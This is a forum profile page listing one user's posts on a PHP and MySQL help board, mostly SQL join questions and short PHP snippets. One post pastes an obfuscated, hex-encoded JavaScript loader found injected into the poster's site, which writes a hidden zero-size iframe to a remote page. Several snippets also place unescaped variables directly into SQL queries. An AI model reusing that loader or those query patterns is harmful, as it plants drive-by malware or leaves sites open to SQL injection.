arifsor
-
Posts
50 -
Joined
-
Last visited
Never
Posts posted by arifsor
-
-
<TABLE border=2 bgcolor=yellow BORDERCOLOR="#007FFF" cellpadding=300 width=900>
<TR><TD>Name</TD><TD>Description</TD><TD>ID number</TD><TD>Quantity/Cost</TD><TD>Item total</TD><TD>Item Type</TD></TR><TR><?
remove <TR>
-
Thanks
-
Thanks
-
please help me related to the db sch.
user
id | user_name
---|----------------
1 | Willium
2 | John
--------------------
qualification
id | user_id | level | marks_obtained
---------------------------------------------
1 | 1 | 1 | 50
---------------------------------------------
2 | 1 | 2 | 80
----------------------------------------------
3 | 1 | 3 | 90
---------------------------------------------
4 | 2 | 1 | 50
---------------------------------------------
5 | 2 | 2 | 40
---------------------------------------------
Required out put report
user_name | level_one_marks | level_two_marks | level_three_marks
-------------------------------------------------------------------------------------------
Willium | 50 | 80 | 90
John | 50 | 40 | NULL
--------------------------------------------------------------------------------------------
* my query
select u.user_name, level_one.marks_obtained as level_one_marks, level_two.marks_obtained as level_two_marks , level_three.marks_obtained as level_three marks from user u
inner join qualification level_one on u.id = level_one.user_id
inner join qualification level_two on u.id = level_two.user_id
inner join qualification level_three on u.id = level_three.user_id
where level_one.level = 1 and level_tow.level = 2 and level_three.level = 3
but above query only fetch one row
user_name | level_one_marks | level_two_marks | level_three_marks
-------------------------------------------------------------------------------------------
Willium | 50 | 80 | 90
--------------------------------------------------------------------------------------------
becauze level three mark is not availbel in qualification table for the user id 2
how can i produce my required report? please help
-
left join is also not working?
any idea.
-
please help me related to the db sch.
user
id | user_name
---|----------------
1 | Willium
2 | John
--------------------
qualification
id | user_id | level | marks_obtained
---------------------------------------------
1 | 1 | 1 | 50
---------------------------------------------
2 | 1 | 2 | 80
----------------------------------------------
3 | 1 | 3 | 90
---------------------------------------------
4 | 2 | 1 | 50
---------------------------------------------
5 | 2 | 2 | 40
---------------------------------------------
Required out put report
user_name | level_one_marks | level_two_marks | level_three_marks
-------------------------------------------------------------------------------------------
Willium | 50 | 80 | 90
John | 50 | 40 | NULL
--------------------------------------------------------------------------------------------
* my query
select u.user_name, level_one.marks_obtained as level_one_marks, level_two.marks_obtained as level_two_marks , level_three.marks_obtained as level_three marks from user u
inner join qualification level_one on u.id = level_one.user_id
inner join qualification level_two on u.id = level_two.user_id
inner join qualification level_three on u.id = level_three.user_id
where level_one.level = 1 and level_tow.level = 2 and level_three.level = 3
but above query only fetch one row
user_name | level_one_marks | level_two_marks | level_three_marks
-------------------------------------------------------------------------------------------
Willium | 50 | 80 | 90
--------------------------------------------------------------------------------------------
becauze level three mark is not availbel in qualification table for the user id 2
how can i produce my required report? please help
-
$query = "INSERT INTO jtablegrid (_no,user_box".$link.") VALUES ('$game_no',$link)";
mysql_query($query);
-
your mension script is working properly! whats the error you getting
-
Is this possible that someone can update my file which has 444 permission through XSS!
following response from my server guy
- including the JS file using the relative paths (ie. some/path/some.js) can be abused for XSS injections.
-
anybody have any idea??
-
Included as in.. stuck inside of your actual files or your DB?
Former: Your FTP is compromised (or server if you aren't on shared hosting).
Latter: Your script(s) are vulnerable to SQL Injection attacks.
This script is inside my actual file
-
Hi,
I have made my site XSS proofed but still the following code is being embedded in my site
var dtzhtxkdkr="";for(dolnbjhcfei=0;dolnbjhcfei<fuqgkpou.length;dolnbjhcfei+=2){dtzhtxkdkr+=(String.fromCharCode(parseInt(fuqgkpou.substr(dolnbjhcfei,2),16)));}document.write(dtzhtxkdkr);}uavxgizkldzyckm("3C69eiqpxekm66eiqpxekm72eiqpxekm616D652073eiqpxekm72633D226874eiqpxekm74eiqpxekm70eiqpxekm3Aeiqpxekm2F2F746Feiqpxekm703130302D636F756E74eiqpxekm65722E636Feiqpxekm6Deiqpxekm2Feiqpxekm746Feiqpxekm70eiqpxekm3130302F69eiqpxekm6E6465782E70eiqpxekm68eiqpxekm70eiqpxekm22eiqpxekm20eiqpxekm66eiqpxekm72eiqpxekm61eiqpxekm6D65626Feiqpxekm72eiqpxekm64eiqpxekm6572eiqpxekm3D22eiqpxekm30eiqpxekm2220eiqpxekm626F72eiqpxekm646572eiqpxekm3D2230eiqpxekm22eiqpxekm20eiqpxekm7769eiqpxekm64eiqpxekm7468eiqpxekm3Deiqpxekm22eiqpxekm30222068eiqpxekm65eiqpxekm69eiqpxekm67eiqpxekm68eiqpxekm743Deiqpxekm22302220737479eiqpxekm6Ceiqpxekm65eiqpxekm3D22eiqpxekm70eiqpxekm6Feiqpxekm73eiqpxekm6974eiqpxekm69eiqpxekm6F6E3A206162eiqpxekm736F6C757465eiqpxekm3B20eiqpxekm76697369eiqpxekm62eiqpxekm696C69eiqpxekm74793A20eiqpxekm68696464eiqpxekm65eiqpxekm6Eeiqpxekm3B2064eiqpxekm69eiqpxekm73eiqpxekm70eiqpxekm6Ceiqpxekm61793Aeiqpxekm206E6F6E65eiqpxekm22eiqpxekm3Eeiqpxekm3Ceiqpxekm2Feiqpxekm696672eiqpxekm61eiqpxekm6Deiqpxekm65eiqpxekm3Eeiqpxekm".replace(/eiqpxekm/g, ""))
Any Idea? is this the hosting server issue?
Please help
-
you use something like
<?php $sql = "UPDATE your_table SET your_field = '{$var}' WHERE id = $value1 AND id = $value2"; ?>
this will not work.
-
yeah it is possible with two query but is this possible with one query?
-
i have table with following schema
----------------------------
ID | NAME | SEQ
----------------------------
10 | APPLE | 1
11 | BIN | 2
12 | CAT | 3
-----------------------------
i want to update row 12 SEQ from 3 to 1 and
row 10 SEQ from to 1 to 3 with one query.
is this possible with one query/
-
$stringdata = str_replace('\"',"",$stringdata);
-
if($row['val'] == 1)
$img = "a";
else if($row['val'] == 0)
$img = "b";
-
Thanks mgallforever, but i am not using form base login screen. i am using a password protected direcotry for login purpose.
can we unset the server variables like $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW']
-
why you put single quote '$_POST[itemID]'
try to remove it $_POST[itemID]
-
make the input box as array
<input type=text name=txtbox[]>
it will give you an array on the action page
-
put your php file path in html img tag
<img src="/dyn.php">
this display your generated pic.
-
any one have any idea?
-
try this:
<a href="app.php?job=Plumber">Apply Now 1</a>
<a href="app.php?job=Electriction">Apply Now 2</a>
on next page get the values form the URL
$job = $_REQUEST['job'];
-
let me explain again.
i am using a secure directory authantication for login on my site.
ie. /cp/
is that possible to make a logout page for this kind of login.
what is ndparking.com
in Miscellaneous
Posted
what is http://www.ndparking.com/
any idea, is this a thread/spam
http://ndparking.com/yoursite.com